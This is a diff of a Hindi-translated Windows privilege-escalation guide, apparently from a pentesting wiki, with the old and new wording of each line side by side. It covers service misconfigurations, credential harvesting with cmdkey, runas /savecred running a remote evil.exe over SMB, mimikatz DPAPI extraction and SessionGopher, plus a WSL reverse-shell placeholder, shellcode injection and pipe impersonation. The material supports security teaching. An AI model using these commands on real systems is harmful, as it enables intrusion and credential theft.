{{#ref}}
privilege-escalation-abusing-tokens.md
@ -412,7 +412,7 @@ Get-Service
```
### अनुमतियाँ
आप **sc** का उपयोग करके एक सेवा की जानकारी प्राप्त कर सकते हैं
आप एक सेवा की जानकारी प्राप्त करने के लिए **sc** का उपयोग कर सकते हैं
```bash
sc qc <service_name>
```
@ -436,7 +436,7 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
_सिस्टम त्रुटि 1058 हुई है._\
&#xNAN;_&#x54;सेवा शुरू नहीं की जा सकती, या तो क्योंकि इसे अक्षम किया गया है या क्योंकि इसके साथ कोई सक्षम उपकरण नहीं है।_
आप इसे सक्षम करने के लिए उपयोग कर सकते हैं
आप इसे सक्षम कर सकते हैं
```bash
sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""
@ -487,10 +487,10 @@ sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt
```
### सेवाओं की रजिस्ट्री संशोधित अनुमतियाँ
### Services registry modify permissions
आपको यह जांचना चाहिए कि क्या आप किसी सेवा रजिस्ट्री को संशोधित कर सकते हैं।\
आप एक सेवा **रजिस्ट्री** पर अपनी **अनुमतियों** की **जांच** करने के लिए:
आपको यह जांचना चाहिए कि क्या आप किसी सेवा रजिस्ट्र्री को संशोधित कर सकते हैं।\
आप एक सेवा **रजिस्ट्र्री** पर अपनी **अनुमतियों** की **जांच** करने के लिए:
```bash
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services
@ -515,9 +515,9 @@ appenddata-addsubdirectory-permission-over-service-registry.md
### Unquoted Service Paths
यदि किसी निष्पादन योग्य का पथ उद्धरण के अंदर नहीं है, तो Windows हर स्पेस से पहले समाप्त होने वाले को निष्पादित करने की कोशिश करेगा।
यदि किसी निष्पादन योग्य फ़ाइल का पथ उद्धरण के अंदर नहीं है, तो Windows हर स्पेस से पहले समाप्त होने वाले को निष्पादित करने की कोशिश करेगा।
उदाहरण के लिए, पथ _C:\Program Files\Some Folder\Service.exe_ के लिए, Windows निष्पादित करने की कोशिश करेगा:
उदाहरण के लिए, पथ _C:\Program Files\Some Folder\Service.exe_ के लिए Windows निष्पादित करने की कोशिश करेगा:
```powershell
C:\Program.exe
C:\Program Files\Some.exe
@ -555,7 +555,7 @@ Windows उपयोगकर्ताओं को यह निर्दिष
### Installed Applications
**बाइनरी के अनुमतियों** की जांच करें (शायद आप एक को अधिलेखित कर सकते हैं और विशेषाधिकार बढ़ा सकते हैं) और **फोल्डरों** के ([DLL Hijacking](dll-hijacking/)).
**बाइनरी के अनुमतियों** की जांच करें (शायद आप एक को ओवरराइट कर सकते हैं और विशेषाधिकार बढ़ा सकते हैं) और **फोल्डरों** के ([DLL Hijacking](dll-hijacking/)).
```bash
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
@ -566,7 +566,7 @@ Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
```
### लिखने की अनुमति
जांचें कि क्या आप किसी कॉन्फ़िग फ़ाइल को संशोधित कर सकते हैं ताकि किसी विशेष फ़ाइल को पढ़ सकें या यदि आप किसी बाइनरी को संशोधित कर सकते हैं जो एक व्यवस्थापक खाते (schedtasks) द्वारा निष्पादित होने वाली है।
जांचें कि क्या आप किसी कॉन्फ़िग फ़ाइल को संशोधित कर सकते हैं ताकि किसी विशेष फ़ाइल को पढ़ सकें या यदि आप किसी बाइनरी को संशोधित कर सकते हैं जो एक व्यवस्थापक खाते (schedtasks) द्वारा निष्पादित होने जा रही है।
सिस्टम में कमजोर फ़ोल्डर/फ़ाइल अनुमतियों को खोजने का एक तरीका है:
```bash
@ -632,7 +632,7 @@ net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares
```
### hosts file
### hosts फ़ाइल
hosts फ़ाइल पर हार्डकोडेड अन्य ज्ञात कंप्यूटरों की जांच करें
```
@ -664,9 +664,9 @@ Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
[**फ़ायरवॉल से संबंधित कमांड के लिए इस पृष्ठ की जांच करें**](../basic-cmd-for-pentesters.md#firewall) **(नियमों की सूची, नियम बनाना, बंद करना, बंद करना...)**
यहाँ और[ नेटवर्क एन्यूमरेशन के लिए कमांड](../basic-cmd-for-pentesters.md#network)
अधिक [नेटवर्क एन्यूमरेशन के लिए कमांड यहाँ](../basic-cmd-for-pentesters.md#network)
### विंडोज सबसिस्टम फॉर लिनक्स (wsl)
### विंडोज सबसिस्टम फॉर लिनक्स (wsl)
```bash
C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe
@ -682,7 +682,7 @@ wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
```
बश को रूट के रूप में आसानी से शुरू करने के लिए, आप `--default-user root` आजमा सकते हैं।
आप `WSL` फ़ाइल प्रणाली को फ़ोल्डर `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` में खोज सकते हैं।
आप `WSL` फ़ाइल सिस्टम को फ़ोल्डर `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` में खोज सकते हैं।
## Windows Credentials
@ -701,13 +701,13 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef
### क्रेडेंशियल्स प्रबंधक / विंडोज वॉल्ट
From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
विंडोज वॉल्ट सर्वरों, वेबसाइटों और अन्य कार्यक्रमों के लिए उपयोगकर्ता क्रेडेंशियल्स को संग्रहीत करता है, जिन्हें **विंडोज** उपयोगकर्ताओं को **स्वचालित रूप से लॉग इन** कर सकता है। पहले दृष्टिकोण में, यह ऐसा लग सकता है कि अब उपयोगकर्ता अपने फेसबुक क्रेडेंशियल्स, ट्विटर क्रेडेंशियल्स, जीमेल क्रेडेंशियल्स आदि को संग्रहीत कर सकते हैं, ताकि वे स्वचालित रूप से ब्राउज़रों के माध्यम से लॉग इन कर सकें। लेकिन ऐसा नहीं है।
विंडोज वॉल्ट सर्वरों, वेबसाइटों और अन्य कार्यक्रमों के लिए उपयोगकर्ता क्रेडेंशियल्स को संग्रहीत करता है जिन्हें **विंडोज** उपयोगकर्ताओं को **स्वचालित रूप से लॉग इन** कर सकता है। पहले दृष्टिकोण में, यह ऐसा लग सकता है कि अब उपयोगकर्ता अपने फेसबुक क्रेडेंशियल्स, ट्विटर क्रेडेंशियल्स, जीमेल क्रेडेंशियल्स आदि को संग्रहीत कर सकते हैं, ताकि वे स्वचालित रूप से ब्राउज़रों के माध्यम से लॉग इन कर सकें। लेकिन ऐसा नहीं है।
विंडोज वॉल्ट उन क्रेडेंशियल्स को संग्रहीत करता है जिन्हें विंडोज उपयोगकर्ताओं को स्वचालित रूप से लॉग इन कर सकता है, जिसका अर्थ है कि कोई भी **विंडोज एप्लिकेशन जिसे किसी संसाधन (सर्वर या वेबसाइट) तक पहुँचने के लिए क्रेडेंशियल्स की आवश्यकता होती है** **इस क्रेडेंशियल प्रबंधक** और विंडोज वॉल्ट का उपयोग कर सकता है और उपयोगकर्ताओं द्वारा बार-बार उपयोगकर्ता नाम और पासवर्ड दर्ज करने के बजाय प्रदान किए गए क्रेडेंशियल्स का उपयोग कर सकता है।
जब तक एप्लिकेशन क्रेडेंशियल प्रबंधक के साथ इंटरैक्ट नहीं करते, मुझे नहीं लगता कि उनके लिए किसी दिए गए संसाधन के लिए क्रेडेंशियल्स का उपयोग करना संभव है। इसलिए, यदि आपका एप्लिकेशन वॉल्ट का उपयोग करना चाहता है, तो इसे किसी न किसी तरह **क्रेडेंशियल प्रबंधक के साथ संवाद करना चाहिए और उस संसाधन के लिए क्रेडेंशियल्स को डिफ़ॉल्ट स्टोरेज वॉल्ट से अनुरोध करना चाहिए**
जब तक एप्लिकेशन क्रेडेंशियल प्रबंधक के साथ इंटरैक्ट नहीं करते, मुझे नहीं लगता कि उनके लिए किसी दिए गए संसाधन के लिए क्रेडेंशियल्स का उपयोग करना संभव है। इसलिए, यदि आपका एप्लिकेशन वॉल्ट का उपयोग करना चाहता है, तो इसे किसी न किसी तरह से **क्रेडेंशियल प्रबंधक के साथ संवाद करना चाहिए और उस संसाधन के लिए क्रेडेंशियल्स का अनुरध करना चाहिए** डिफ़ॉल्ट स्टोरेज वॉल्ट से।
मशीन पर संग्रहीत क्रेडेंशियल्स की सूची बनाने के लिए `cmdkey` का उपयोग करें।
मशीन पर संग्रहीत क्रेडेंशियल्स की सूची के लिए `cmdkey` का उपयोग करें।
```bash
cmdkey /list
Currently stored credentials:
@ -715,7 +715,7 @@ Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator
```
फिर आप `runas` का उपयोग `/savecred` विकल्पों के साथ कर सकते हैं ताकि सहेजे गए क्रेडेंशियल्स का उपयोग किया जा सके। निम्नलिखित उदाहरण एक SMB शेयर के माध्यम से एक दूरस्थ बाइनरी को कॉल कर रहा है।
फिर आप `/savecred` विकल्पों के साथ `runas` का उपयोग कर सकते हैं ताकि सहेजे गए क्रेडेंशियल्स का उपयोग किया जा सके। निम्नलिखित उदाहरण एक SMB शेयर के माध्यम से एक दूरस्थ बाइनरी को कॉल कर रहा है।
```bash
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
```
@ -731,7 +731,7 @@ C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\us
**DPAPI उपयोगकर्ता के लॉगिन रहस्यों से निकाली गई सममित कुंजी के माध्यम से कुंजियों के एन्क्रिप्शन को सक्षम करता है**। सिस्टम एन्क्रिप्शन के मामलों में, यह सिस्टम के डोमेन प्रमाणीकरण रहस्यों का उपयोग करता है।
DPAPI का उपयोग करके एन्क्रिप्टेड उपयोगकर्ता RSA कुंजियाँ `%APPDATA%\Microsoft\Protect\{SID}` निर्देशिका में संग्रहीत होती हैं, जहाँ `{SID}` उपयोगकर्ता के [सुरक्षा पहचानकर्ता](https://en.wikipedia.org/wiki/Security_Identifier) का प्रतिनिधित्व करता है। **DPAPI कुंजी, जो उपयोगकर्ता की निजी कुंजियों को उसी फ़ाइल में सुरक्षित रखने वाले मास्टर कुंजी के साथ स्थित होती है**, आमतौर पर 64 बाइट्स के यादृच्छिक डेटा से बनी होती है। (यह ध्यान रखना महत्वपूर्ण है कि इस निर्देशिका तक पहुँच प्रतिबंधित है, जिससे `dir` कमांड के माध्यम से इसकी सामग्री को सूचीबद्ध करने से रोका जाता है, हालाँकि इसे PowerShell के माध्यम से सूचीबद्ध किया जा सकता है)।
DPAPI का उपयोग करके एन्क्रिप्टेड उपयोगकर्ता RSA कुंजियाँ `%APPDATA%\Microsoft\Protect\{SID}` निर्देशिका में संग्रहीत होती हैं, जहाँ `{SID}` उपयोगकर्ता के [सुरक्षा पहचानकर्ता](https://en.wikipedia.org/wiki/Security_Identifier) का प्रतिनिधित्व करता है। **DPAPI कुंजी, जो उपयोगकर्ता की निजी कुंजियों की सुरक्षा करने वाली मास्टर कुंजी के साथ उसी फ़ाइल में स्थित होती है**, आमतौर पर 64 बाइट्स के यादृच्छिक डेटा से बनी होती है। (यह ध्यान रखना महत्वपूर्ण है कि इस निर्देशिका तक पहुँच प्रतिबंधित है, जिससे `dir` कमांड के माध्यम से इसकी सामग्री को सूचीबद्ध करने से रोका जाता है, हालाँकि इसे PowerShell के माध्यम से सूचीबद्ध किया जा सकता है)।
```powershell
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
@ -746,7 +746,7 @@ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
```
आप **mimikatz module** `dpapi::cred` का उपयोग उचित `/masterkey` के साथ डिक्रिप्ट करने के लिए कर सकते हैं।\
आप **memory** से **DPAPI** **masterkeys** को `sekurlsa::dpapi` module के साथ निकाल सकते हैं (यदि आप root हैं)।
आप `sekurlsa::dpapi` module के साथ **memory** से **DPAPI** **masterkeys** निकाल सकते हैं (यदि आप root हैं)।
{{#ref}}
dpapi-extracting-passwords.md
@ -909,7 +909,7 @@ reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
यदि आप उस पथ के अंदर कोई प्रविष्टि पाते हैं, तो यह संभवतः एक सहेजा गया SSH कुंजी होगी। इसे एन्क्रिप्टेड रूप में संग्रहीत किया गया है लेकिन इसे आसानी से [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract) का उपयोग करके डिक्रिप्ट किया जा सकता है।\
इस तकनीक के बारे में अधिक जानकारी यहाँ है: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
यदि `ssh-agent` सेवा चल नहीं रही है और आप इसे बूट पर स्वचालित रूप से शुरू करना चाहते हैं, तो चलाएँ:
यदि `ssh-agent` सेवा चल नहीं रही है और आप चाहते हैं कि यह बूट पर स्वचालित रूप से शुरू हो, तो चलाएँ:
```bash
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
```
@ -933,7 +933,7 @@ dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>n
```
आप इन फ़ाइलों को **metasploit** का उपयोग करके भी खोज सकते हैं: _post/windows/gather/enum_unattend_
उदाहरण सामग्री:
Example content:
```xml
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
@ -978,7 +978,7 @@ AppData\Roaming\gcloud\access_tokens.db
### Cached GPP Pasword
एक विशेषता पहले उपलब्ध थी जिसने Group Policy Preferences (GPP) के माध्यम से मशीनों के एक समूह पर कस्टम स्थानीय व्यवस्थापक खातों को तैनात करने की अनुमति दी। हालाँकि, इस विधि में महत्वपूर्ण सुरक्षा खामियाँ थीं। सबसे पहले, Group Policy Objects (GPOs), जो SYSVOL में XML फ़ाइलों के रूप में संग्रहीत होते हैं, किसी भी डोमेन उपयोगकर्ता द्वारा एक्सेस किए जा सकते थे। दूसरी बात, इन GPPs के भीतर पासवर्ड, जो एक सार्वजनिक रूप से प्रलेखित डिफ़ॉल्ट कुंजी का उपयोग करके AES256 के साथ एन्क्रिप्ट किए गए थे, किसी भी प्रमाणित उपयोगकर्ता द्वारा डिक्रिप्ट किए जा सकते थे। यह एक गंभीर जोखिम प्रस्तुत करता था, क्योंकि इससे उपयोगकर्ताओं को उच्चाधिकार प्राप्त करने की अनुमति मिल सकती थी।
एक विशेषता पहले उपलब्ध थी जिसने Group Policy Preferences (GPP) के माध्यम से मशीनों के एक समूह पर कस्टम स्थानीय व्यवस्थापक खातों को तैनात करने की अनुमति दी। हालाँकि, इस विधि में महत्वपूर्ण सुरक्षा खामियाँ थीं। सबसे पहले, Group Policy Objects (GPOs), जो SYSVOL में XML फ़ाइलों के रूप में संग्रहीत होते हैं, किसी भी डोमेन उपयोगकर्ता द्वारा एक्सेस किए जा सकते थे। दूसर, इन GPPs के भीतर पासवर्ड, जो एक सार्वजनिक रूप से प्रलेखित डिफ़ॉल्ट कुंजी का उपयोग करके AES256 के साथ एन्क्रिप्ट किए गए थे, किसी भी प्रमाणित उपयोगकर्ता द्वारा डिक्रिप्ट किए जा सकते थे। यह एक गंभीर जोखिम प्रस्तुत करता था, क्योंकि इससे उपयोगकर्ताओं को उच्चाधिकार प्राप्त करने की अनुमति मिल सकती थी।
इस जोखिम को कम करने के लिए, एक फ़ंक्शन विकसित किया गया था जो "cpassword" फ़ील्ड वाले स्थानीय रूप से कैश किए गए GPP फ़ाइलों को स्कैन करता है जो खाली नहीं है। ऐसी फ़ाइल मिलने पर, फ़ंक्शन पासवर्ड को डिक्रिप्ट करता है और एक कस्टम PowerShell ऑब्जेक्ट लौटाता है। यह ऑब्जेक्ट GPP और फ़ाइल के स्थान के बारे में विवरण शामिल करता है, जो इस सुरक्षा भेद्यता की पहचान और सुधार में मदद करता है।
@ -1141,7 +1141,7 @@ Get-Childitem Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAct
आपको इसके अंदर क्रेडेंशियल्स की तलाश के लिए बिन की भी जांच करनी चाहिए
कई प्रोग्राम द्वारा सहेजे गए **पासवर्ड को पुनर्प्राप्त करने** के लिए आप उपयोग कर सकते हैं: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html)
**कई प्रोग्राम द्वारा सहेजे गए पासवर्ड को पुनर्प्राप्त करने के लिए आप उपयोग कर सकते हैं:** [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html)
### रजिस्ट्री के अंदर
@ -1152,12 +1152,12 @@ reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"
```
[**Registry से openssh कुंजी निकालें।**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
[**रजिस्ट्री से openssh कुंजी निकालें।**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
### ब्राउज़र्स इतिहास
आपको उन dbs की जांच करनी चाहिए जहाँ **Chrome या Firefox** से पासवर्ड संग्रहीत हैं।\
ब्राउज़रों के इतिहास, बुकमार्क और पसंदीदा की भी जांच करें ताकि शायद कुछ **पासवर्ड** वहाँ संग्रहीत हों।
ब्राउज़रों के इतिहास, बुकमार्क और पसंदीदा की भी जांच करें ताकि शायद कुछ **पासवर्ड वहाँ संग्रहीत हों।**
ब्राउज़रों से पासवर्ड निकालने के लिए उपकरण:
@ -1168,17 +1168,17 @@ reg query "HKCU\Software\OpenSSH\Agent\Key"
### **COM DLL ओवरराइटिंग**
**कंपोनेंट ऑब्जेक्ट मॉडल (COM)** एक तकनीक है जो Windows ऑपरेटिंग सिस्टम के भीतर बनाई गई है जो विभिन्न भाषाओं के सॉफ़्टवेयर घटकों के बीच **अंतरसंवाद** की अनुमति देती है। प्रत्येक COM घटक को **क्लास आईडी (CLSID)** के माध्यम से **पहचान**िया जाता है और प्रत्येक घटक एक या एक से अधिक इंटरफेस के माध्यम से कार्यक्षमता को उजागर करता है, जिसे इंटरफेस आईडी (IIDs) के माध्यम से पहचाना जाता है।
**कंपोनेंट ऑब्जेक्ट मॉडल (COM)** एक तकनीक है जो Windows ऑपरेटिंग सिस्टम के भीतर बनाई गई है जो विभिन्न भाषाओं के सॉफ़्टवेयर घटकों के बीच **अंतरसंवाद** की अनुमति देती है। प्रत्येक COM घटक को **क्लास आईडी (CLSID)** के माध्यम से **पहचान**ी जाती है और प्रत्येक घटक एक या एक से अधिक इंटरफेस के माध्यम से कार्यक्षमता को उजागर करता है, जिसे इंटरफेस आईडी (IIDs) के माध्यम से पहचाना जाता है।
COM क्लास और इंटरफेस को रजिस्ट्री में **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** और **HKEY\_**_**CLASSES\_**_**ROOT\Interface** के तहत परिभाषित किया गया है। यह रजिस्ट्री **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT** को मिलाकर बनाई गई है।
COM वर्ग और इंटरफेस रजिस्ट्री में **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** और **HKEY\_**_**CLASSES\_**_**ROOT\Interface** के तहत परिभाषित है। यह रजिस्ट्री **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT** को मिलाकर बनाई जाती है।
इस रजिस्ट्री के CLSIDs के अंदर आप बच्चे की रजिस्ट्री **InProcServer32** पा सकते हैं जिसमें एक **डिफ़ॉल्ट मान** होता है जो एक **DLL** की ओर इशारा करता है और एक मान जिसे **ThreadingModel** कहा जाता है जो **Apartment** (सिंगल-थ्रेडेड), **Free** (मल्टी-थ्रेडेड), **Both** (सिंगल या मल्टी) या **Neutral** (थ्रेड न्यूट्रल) हो सकता है।
![](<../../images/image (729).png>)
बुनियादी रूप से, यदि आप **किसी भी DLL को ओवरराइट** कर सकते हैं जो निष्पादित होने जा रही है, तो आप **अधिकार बढ़ा सकते हैं** यदि वह DLL किसी अन्य उपयोगकर्ता द्वारा निष्पादित होने जा रही है।
बुनियादी रूप से, यदि आप **किसी भी DLL को ओवरराइट कर सकते हैं** जो निष्पादित होने जा रही है, तो आप **अधिकार बढ़ा सकते हैं** यदि वह DLL किसी अन्य उपयोगकर्ता द्वारा निष्पादित होने जा रही है।
हमलावरों द्वारा COM Hijacking का उपयोग कैसे किया जाता है, यह जानने के लिए जांचें:
हमलावरों द्वारा COM Hijacking का उपयोग स्थिरता तंत्र के रूप में कैसे किया जाता है, यह जानने के लिए जांचें:
{{#ref}}
com-hijacking.md
@ -1207,39 +1207,39 @@ REG QUERY HKCU /F "password" /t REG_SZ /S /d
```
### पासवर्ड खोजने वाले उपकरण
[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **एक msf** प्लगइन है जिसे मैंने **शिकार पर क्रेडेंशियल्स के लिए खोजने वाले हर metasploit POST मॉड्यूल को स्वचालित रूप से निष्पादित करने** के लिए बनाया है।\
[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **एक msf** प्लगइन है जिसे मैंने **शिकार के अंदर क्रेडेंशियल्स की खोज करने वाले हर metasploit POST मॉड्यूल को स्वचालित रूप से निष्पादित करने के लिए बनाया है**।\
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) स्वचालित रूप से इस पृष्ठ में उल्लिखित पासवर्ड वाले सभी फ़ाइलों की खोज करता है।\
[**Lazagne**](https://github.com/AlessandroZ/LaZagne) एक और शानदार उपकरण है जो एक सिस्टम से पासवर्ड निकालता है।
उपकरण [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **सत्रों**, **उपयोगकर्ता नामों** और **पासवर्डों** की खोज करता है कई उपकरणों के जो इस डेटा को स्पष्ट पाठ में सहेजते हैं (PuTTY, WinSCP, FileZilla, SuperPuTTY, और RDP)
उपकरण [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **सत्रों**, **उपयोगकर्ता नामों** और **पासवर्डों** की खोज करता है जो कई उपकरणों में स्पष्ट पाठ में इस डेटा को सहेजते हैं (PuTTY, WinSCP, FileZilla, SuperPuTTY, और RDP)
```bash
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
```
## Leaked Handlers
## लीक हुए हैंडल
कल्पना करें कि **एक प्रक्रिया जो SYSTEM के रूप में चल रही है एक नई प्रक्रिया खोलती है** (`OpenProcess()`) **पूर्ण पहुंच के साथ**। वही प्रक्रिया **एक नई प्रक्रिया भी बनाती है** (`CreateProcess()`) **कम विशेषाधिकार के साथ लेकिन मुख्य प्रक्रिया के सभी खुले हैंडल विरासत में लेती है**।\
फिर, यदि आपके पास **कम विशेषाधिकार वाली प्रक्रिया तक पूर्ण पहुंच है**, तो आप `OpenProcess()` के साथ बनाई गई **विशेषाधिकार प्राप्त प्रक्रिया के लिए खुले हैंडल को पकड़ सकते हैं** और **एक शेलकोड इंजेक्ट कर सकते हैं**।\
[**इस उदाहरण को पढ़ें अधिक जानकारी के लिए कि **कैसे इस कमजोरियों का पता लगाएं और इसका लाभ उठाएं**।](leaked-handle-exploitation.md)\
[**इस **अन्य पोस्ट को पढ़ें अधिक पूर्ण व्याख्या के लिए कि कैसे परीक्षण करें और विभिन्न स्तरों के अनुमतियों (केवल पूर्ण पहुंच नहीं) के साथ विरासत में मिल प्रक्रियाओं और थ्रेड्स के अधिक खुले हैंडल का दुरुपयोग करें**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)।
कल्पना करें कि **एक प्रक्रिया जो SYSTEM के रूप में चल रही है एक नई प्रक्रिया खोलती है** (`OpenProcess()`) **पूर्ण पहुंच के साथ**। वही प्रक्रिया **एक नई प्रक्रिया भी बनाती है** (`CreateProcess()`) **कम विशेषाधिकार के साथ लेकिन मुख्य प्रक्रिया के सभी खुले हैंडल को विरासत में लेती है**।\
फिर, यदि आपके पास **कम विशेषाधिकार वाली प्रक्रिया तक पूर्ण पहुंच है**, तो आप **privileged प्रक्रिया के लिए खोले गए हैंडल को प्राप्त कर सकते हैं** जो `OpenProcess()` के साथ बनाई गई थी और **एक शेलकोड इंजेक्ट कर सकते हैं**।\
[इस उदाहरण को पढ़ें **इस भेद्यता का पता लगाने और शोषण करने के बारे में अधिक जानकारी के लिए**.](leaked-handle-exploitation.md)\
[इस **अन्य पोस्ट को पढ़ें ताकि विभिन्न स्तरों के अनुमतियों (केवल पूर्ण पहुंच नहीं) के साथ विरासत में मिल प्रक्रियाओं और थ्रेड्स के अधिक खुले हैंडल का परीक्षण और दुरुपयोग करने के बारे में अधिक संपूर्ण व्याख्या मिल सके**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)।
## Named Pipe Client Impersonation
## नामित पाइप क्लाइंट अनुकरण
साझा मेमोरी खंड, जिसे **पाइप** कहा जाता है, प्रक्रिया संचार और डेटा स्थानांतरण की अनुमति देते हैं।
साझा मेमोरी खंड, जिसे **पाइप** कहा जाता है, प्रक्रिया संचार और डेटा स्थानांतरण को सक्षम बनाते हैं।
Windows एक सुविधा प्रदान करता है जिसे **Named Pipes** कहा जाता है, जो असंबंधित प्रक्रियाओं को डेटा साझा करने की अनुमति देता है, यहां तक कि विभिन्न नेटवर्कों पर भी। यह एक क्लाइंट/सर्वर आर्किटेक्चर के समान है, जिसमें भूमिकाएँ **named pipe server** और **named pipe client** के रूप में परिभाषित होती हैं।
जब एक **क्लाइंट** द्वारा पाइप के माध्यम से डेटा भेजा जाता है, तो **सर्वर** जिसने पाइप सेट किया है, **क्लाइंट की पहचान** अपनाने की क्षमता रखता है, बशर्ते कि उसके पास आवश्यक **SeImpersonate** अधिकार हों। एक **विशेषाधिकार प्राप्त प्रक्रिया** की पहचान करना जो एक पाइप के माध्यम से संचार करती है जिसे आप अनुकरण कर सकते हैं, आपको **उच्च विशेषाधिकार प्राप्त करने** का अवसर प्रदान करता है जब वह प्रक्रिया उस पाइप के साथ बातचीत करती है जिसे आपने स्थापित किया है। इस तरह के हमले को निष्पादित करने के लिए निर्देशों के लिए, सहायक मार्गदर्शिकाएँ [**यहाँ**](named-pipe-client-impersonation.md) और [**यहाँ**](./#from-high-integrity-to-system) पाई जा सकती हैं।
जब डेटा एक पाइप के माध्यम से **क्लाइंट** द्वारा भेजा जाता है, तो **सर्वर** जिसने पाइप स्थापित किया है, **क्लाइंट की पहचान** अपनाने की क्षमता रखता है, बशर्ते कि उसके पास आवश्यक **SeImpersonate** अधिकार हों। एक **privileged प्रक्रिया** की पहचान करना जो एक पाइप के माध्यम से संवाद करती है जिसे आप अनुकरण कर सकते हैं, आपको **उच्च विशेषाधिकार प्राप्त करने** का अवसर प्रदान करता है जब वह प्रक्रिया उस पाइप के साथ बातचीत करती है जिसे आपने स्थापित किया है। इस प्रकार के हमले को निष्पादित करने के लिए निर्देशों के लिए, सहायक मार्गदर्शिकाएँ [**यहाँ**](named-pipe-client-impersonation.md) और [**यहाँ**](./#from-high-integrity-to-system) मिल सकती हैं।
इसके अलावा, निम्नलिखित उपकरण **burp जैसे उपकरण के साथ एक नामित पाइप संचार को इंटरसेप्ट करने की अनुमति देता है:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **और यह उपकरण सभी पाइपों को सूचीबद्ध करने और देखने की अनुमति देता है ताकि privescs को खोजा जा सके** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
इसके अलावा, निम्नलिखित उपकरण **burp जैसे उपकरण के साथ नामित पाइप संचार को इंटरसेप्ट करने की अनुमति देता है:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **और यह उपकरण सभी पाइपों को सूचीबद्ध करने और देखने की अनुमति देता है ताकि privescs मिल सकें** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
## Misc
## विविध
### **Monitoring Command Lines for passwords**
### **पासवर्ड के लिए कमांड लाइनों की निगरानी**
जब एक उपयोगकर्ता के रूप में शेल प्राप्त करते हैं, तो कुछ शेड्यूल किए गए कार्य या अन्य प्रक्रियाएँ हो सकती हैं जो **कमांड लाइन पर क्रेडेंशियल्स पास करती हैं**। नीचे दिया गया स्क्रिप्ट हर दो सेकंड में प्रक्रिया कमांड लाइनों को कैप्चर करता है और वर्तमान स्थिति की तुलना पिछले स्थिति से करता है, किसी भी अंतर को आउटपुट करता है।
